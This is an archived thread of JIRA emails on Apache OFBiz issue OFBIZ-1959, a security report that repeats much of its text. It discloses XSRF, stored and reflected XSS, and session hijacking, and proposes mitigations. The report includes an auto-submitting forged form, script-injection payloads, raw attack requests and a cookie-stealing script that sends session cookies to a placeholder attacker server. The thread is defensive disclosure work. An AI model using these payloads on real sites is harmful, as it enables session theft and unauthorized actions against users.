> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues
(XSRF, XSS, Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]
euronymous edited comment on OFBIZ-1959 at 2/23/09 7:40 AM:
--------------------------------------------------------------
Hi David, Hi Jacques
Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(
Anyway, here it is the "quite malicious" request:
GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0
The code rendered in the response, if you need it to better understand the situation:
[...]
<!-- Begin Section Widget -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
<tr>
<td class="label">Catalog [ID]</td>
<td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
</tr>
[...]
Let me know
Michele Orrù
was (Author: euronymous):
Hi David, Hi Jacques
Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(
Anyway, here it is the "quite malicious" request:
GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0
The code rendered in the response, if you need it to better understand the situation:
[...]
<!-- Begin Section Widget -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
<tr>
<td class="label">Catalog [ID]</td>
<td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
</tr>
[...]
Let me know
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "BJ Freeman (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630897#action_12630897 ]
BJ Freeman commented on OFBIZ-1959:
-----------------------------------
Look forward to you patches.
:D
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Michele Orru updated OFBIZ-1959:
--------------------------------
Hi
I had a bit of time this morning to check XSRF mitigation on ofbiz latest trunk revision (766265).
I don't see anything related to this analyzing requests, so no random token added by the application to the resources/uri that can be called
for a potential XSRF attack.
For instance, after logging in the partymgr application, the createnewlogin URI is a sensitive one, and should be protected with a random token appended to it.
GET /partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost:8080/partymgr/control/backHome;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1
Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin
More than the GET request, the successive POST is dangerous without XSRF protections:
POST /partymgr/control/createUserLogin HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin
Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
enabled=&partyId=admin&userLoginId=euronymous¤tPassword=euronymous666¤tPasswordVerify=euronymous666&passwordHint=e6+&requirePasswordChange=N
My old XSRF demo is till working here:
<html>
<head>
<body>
<form method="POST" id="xsrf" name="xsrf"
action="https://127.0.0.1:8443/catalog/control/createProduct">
<input type=hidden name="isCreate" value="true">
<input type=hidden name="productId" value="hack02">
<input type=hidden name="productTypeId" value="DIGITAL_GOOD">
<input type=hidden name="internalName" value="hack02">
</form>
<script>document.xsrf.submit(); </script>
</body>
</head>
</html>
If open this page with the same browser you're currently logged in (for instance in the partymgr), the catalog login is proposed to you: you pass the credentials to ofbiz and the XSRF is working without any problem. david, what you said in comment of rev. 751501 is true, the patches to RequestHandler are OK, but as you can see here is enough to craft a XSRF directly to and https resource.
Anyway, XSS has been fixed, XSRF is still working but is harder to exploit.
Great work guys
Michele Orru'
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.